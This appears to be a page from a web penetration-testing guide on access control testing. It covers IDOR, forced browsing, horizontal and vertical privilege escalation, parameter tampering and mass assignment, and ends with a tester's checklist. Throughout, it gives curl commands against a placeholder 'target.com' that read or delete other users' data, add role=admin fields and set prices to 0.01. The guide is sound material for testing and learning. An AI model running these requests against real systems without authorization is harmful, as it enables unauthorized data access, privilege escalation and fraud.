Skip to main content

Access Control Testing

WSTG-AUTHZ-01 through WSTG-AUTHZ-04


Understanding Access Control Failures​

Access control vulnerabilities occur when the application doesn't properly enforce what actions a given user is allowed to perform. Unlike injection or XSS - which involve technical exploitation of how the code handles input - access control failures are often logical: the application simply doesn't check whether you're authorized before giving you what you ask for.

This is the most common class of web vulnerability, and one of the hardest for scanners to find, because determining whether a response is "wrong" requires understanding what the user should and shouldn't be allowed to see.

Categories​

CategoryWhat's Being Bypassed
IDOR (Insecure Direct Object Reference)The application uses a user-controlled ID to retrieve objects, but doesn't verify the requesting user owns that object
Forced BrowsingProtected paths or admin functions are reachable directly via URL without proper auth checks
Horizontal Privilege EscalationA regular user accesses another regular user's data/actions
Vertical Privilege EscalationA regular user performs admin-level actions
Parameter TamperingChanging a role, privilege, or permission parameter that should be server-controlled

IDOR Testing​

IDOR is the most widespread authorization flaw in modern web applications. An API endpoint like /api/orders/1234 returns order 1234. If the application only checks that you're logged in - not that order 1234 belongs to you - any authenticated user can access any order by changing the number.

Identify direct object references​

Look for any user-controlled value that references a database record:

# URL parameters
/profile?id=1042
/api/users/1042
/invoice/download?id=2891
/messages/thread/554

# POST body
{"user_id": 1042, "action": "delete"}

# Cookies or headers
X-User-ID: 1042

Test IDOR manually​

# Step 1: Note your own user/resource ID
# e.g., you are user ID 1042, your session token is abc123

# Step 2: Try accessing another user's resource
curl -si "http://target.com/api/profile/1041" \
-H "Cookie: session=abc123"

curl -si "http://target.com/api/profile/1043" \
-H "Cookie: session=abc123"

# Step 3: Try sequential IDs around your own
for id in $(seq 1038 1048); do
response=$(curl -si "http://target.com/api/profile/$id" -H "Cookie: session=abc123")
size=$(echo "$response" | wc -c)
echo "ID $id: $size bytes"
done

# Step 4: Try accessing privileged objects (admin records)
curl -si "http://target.com/api/admin/user/1" \
-H "Cookie: session=abc123"

Non-integer object references​

IDORs aren't only in sequential integers. Check all of:

# UUIDs - still worth testing even if they look random
curl -si "http://target.com/api/document/550e8400-e29b-41d4-a716-446655440000" \
-H "Cookie: session=abc123"

# Hashed IDs - sometimes MD5/SHA1 of the integer
# Try computing the hash of adjacent IDs
echo -n "1041" | md5sum
echo -n "1041" | sha1sum

# Encoded IDs - base64
echo -n "1041" | base64 # -> MTA0MQ==
curl -si "http://target.com/api/user/MTA0MQ==" -H "Cookie: session=abc123"

# Usernames as references
curl -si "http://target.com/profile/otherusername" -H "Cookie: session=abc123"

Multi-account IDOR testing​

The most reliable IDOR test requires two accounts with different privilege levels:

# Account A: regular user - session=SESSION_A
# Account B: another regular user (or admin) - session=SESSION_B

# Action: Create a resource as Account A and note its ID
curl -si -X POST "http://target.com/api/note" \
-H "Cookie: session=SESSION_A" \
-d '{"content":"private note"}'
# Returns: {"id": 5541}

# Test: Access that resource as Account B
curl -si "http://target.com/api/note/5541" \
-H "Cookie: session=SESSION_B"

# Test: Modify that resource as Account B
curl -si -X PUT "http://target.com/api/note/5541" \
-H "Cookie: session=SESSION_B" \
-d '{"content":"hacked"}'

# Test: Delete that resource as Account B
curl -si -X DELETE "http://target.com/api/note/5541" \
-H "Cookie: session=SESSION_B"

IDOR in HTTP methods​

A resource may be read-protected but writable by unauthorized users, or vice versa:

# Even if GET requires ownership, does DELETE check the same way?
curl -si -X DELETE "http://target.com/api/user/1041/posts/892" \
-H "Cookie: session=abc123"

Forced Browsing​

Access protected paths or admin functions directly, without going through the normal UI flow.

# Try accessing admin paths directly
curl -si "http://target.com/admin/users" -H "Cookie: session=REGULAR_USER_SESSION"
curl -si "http://target.com/admin/settings" -H "Cookie: session=REGULAR_USER_SESSION"
curl -si "http://target.com/api/admin/export" -H "Cookie: session=REGULAR_USER_SESSION"

# Try accessing authenticated resources without any session
curl -si "http://target.com/dashboard" # No cookie - should redirect to login, not show content
curl -si "http://target.com/api/users" # No Authorization header

# Walk the sitemap/discovered paths for each privilege level
# Content that returns 200 for an unauthenticated or low-priv request = finding
tip

Content discovery (feroxbuster/ffuf) with a regular user session will reveal paths that a scanner without a session would miss. Run content discovery both unauthenticated and authenticated - the delta shows you what's hidden behind auth that you now need to test for access control.


Vertical Privilege Escalation​

A regular user accessing admin functionality.

# Change role parameter in a request
curl -si -X POST "http://target.com/user/update" \
-H "Cookie: session=REGULAR_SESSION" \
-d "username=me&role=admin"

# Manipulate hidden form fields
# If source contains: <input type="hidden" name="role" value="user">
# Submit with role=admin
curl -si -X POST "http://target.com/account/settings" \
-H "Cookie: session=REGULAR_SESSION" \
-d "email=me@target.com&role=admin&is_admin=1"

# Access admin API directly
curl -si "http://target.com/api/v1/admin/users" \
-H "Cookie: session=REGULAR_SESSION" \
-H "X-Admin: true"

# Try adding admin-specific headers/cookies
curl -si "http://target.com/admin/panel" \
-H "Cookie: session=REGULAR_SESSION; admin=true"

Horizontal Privilege Escalation​

Access another user's data without accessing admin functions - same privilege level, different user.

# Access another user's profile/data
curl -si "http://target.com/api/user/profile" \
-H "Cookie: session=SESSION_A" \
-H "X-User-ID: <OTHER_USER_ID>"

# Email-based IDOR - supply another user's email
curl -si -X POST "http://target.com/account/data-export" \
-H "Cookie: session=SESSION_A" \
-d "email=victim@target.com"

# Referencing another user's resource in a PUT/POST
curl -si -X PUT "http://target.com/api/order/9999/cancel" \
-H "Cookie: session=SESSION_A"
# Where order 9999 belongs to another user

Parameter Tampering and Mass Assignment​

Parameter tampering​

# Price/quantity manipulation
curl -si -X POST "http://target.com/cart/checkout" \
-d "item_id=5&quantity=1&price=0.01"

# Step-skipping in multi-step workflows
# If checkout has 3 steps, try going directly to step 3
curl -si "http://target.com/checkout/step3/confirm" \
-H "Cookie: session=SESSION"

# Negative quantity
curl -si -X POST "http://target.com/cart/update" \
-d "item_id=5&quantity=-1"

Mass assignment​

Many frameworks (Rails, Laravel, Express, Spring) auto-bind POST parameters to model attributes. If a developer doesn't whitelist allowed fields, an attacker can set fields that shouldn't be user-editable.

# Register with extra fields that map to database columns
curl -si -X POST "http://target.com/register" \
-d "username=test&password=Test123&email=test@evil.com&role=admin&is_verified=true&credit_balance=9999"

# Update profile with non-editable fields
curl -si -X PUT "http://target.com/api/profile" \
-H "Cookie: session=SESSION" \
-H "Content-Type: application/json" \
-d '{"name":"Test","email":"test@evil.com","role":"admin","subscription":"premium","credits":9999}'

Access Control Testing Checklist​

[ ] Test all sensitive endpoints with no session (should redirect/403)
[ ] Test all admin endpoints with a regular user session (should 403)
[ ] Identify all direct object references in the application
[ ] Create two test accounts - swap IDs between them
[ ] Test all HTTP methods (GET/POST/PUT/DELETE) on each resource
[ ] Check all hidden form fields for privilege/role parameters
[ ] Test parameter manipulation on price, quantity, step, role, admin fields
[ ] Check POST body for mass-assignable fields not shown in the UI
[ ] Test UUID/hash-based IDs (compute adjacent values manually)
[ ] Test with no Authorization header on API endpoints